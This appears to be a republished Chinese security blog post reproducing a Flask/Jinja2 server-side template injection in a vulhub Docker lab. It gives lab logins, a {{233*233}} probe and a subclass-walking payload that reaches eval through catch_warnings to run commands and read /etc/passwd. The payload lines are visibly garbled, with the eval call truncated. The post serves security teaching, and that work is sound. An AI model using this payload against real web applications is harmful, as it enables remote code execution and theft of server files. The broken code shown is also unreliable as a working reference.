文章总结: 本文详细介绍了Flask框架中Jinja2服务端模板注入SSTI漏洞的原理与复现过程。文章通过构建Docker靶场,演示了如何利用SSTI漏洞执行Python命令并读取服务器敏感文件。核心在于利用catch_warnings子类绕过限制调用eval函数。实验旨在帮助读者理解模板注入风险,提升Web应用安全防御能力。 综合评分: 83 文章分类: 漏洞分析,WEB安全,漏洞POC,渗透测试,实战经验
这种漏洞你的服务器存在吗?
原创
建哥聊安全 建哥聊安全
建哥聊安全
2026年1月30日 16:16 湖南
Flask(Jinja2)服务端模板注入(SSTI)漏洞
实验目的
通过本实验,掌握服务端模板注入(SSTI)漏洞原理和利用方法,利用命令执行漏洞获取敏感信息。
实验环境
·操作机:Win10 用户名:Administrator 密码:Sangfor!7890
·靶机:Ubuntu + docker 用户名:root 密码:Sangfor!7890
·实验地址:http://靶机ip:8000?name={{233*233}}
实验原理
注入类型的漏洞,常见Web注入有:SQL注入,XSS注入,XPATH注入,XML注入,代码注入,命令注入等等。注入漏洞的实质是服务端接受了用户的输入,未过滤或过滤不严谨执行了拼接了用户输入的代码,因此造成了各类注入。而服务端模板注入和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为Web应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。 Flask是一个使用Python编写的轻量级Web应用框架。其WSGI工具箱采用Werkzeug,模板引擎则使用Jinja2。
实验步骤
第一步启动目标靶机的环境
1、登陆”Flask”靶机,执行如下命令,进入目标环境所在目录
cd /vulhub-master
cd flask
cd ssti
2、执行以下命令,运行目标靶机的环境
docker-compose up -d
3、登录“Attack”操作机,打开浏览器,访问http://靶机ip:8000,看到Hello页面,说明靶机环境启动成功
第二步漏洞复现
4、通过“Attack”操作机的浏览器访问http://靶机ip:8000?name={{233*233}},得到54289,说明SSTI漏洞存在
5、将name参数的值更换为如下代码(获取eval函数并执行任意python代码的POC),执行命令成功
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == ‘catch_warnings’ %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if ‘eval’ in b.keys() %}
{{ b‘eval’.read()’) }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
6、将上一步所用POC代码中的“id”处修改为“cat /etc/passwd”,即:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == ‘catch_warnings’ %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if ‘eval’ in b.keys() %}
{{ b‘eval’.read()’) }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
实验总结
通过本实验,通过复现Flask(Jinja2)服务端模板注入(SSTI)漏洞,了解模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程,服务器模板中拼接了恶意用户输入导致各种漏洞。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:建哥聊安全 建哥聊安全 建哥聊安全《这种漏洞你的服务器存在吗?》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论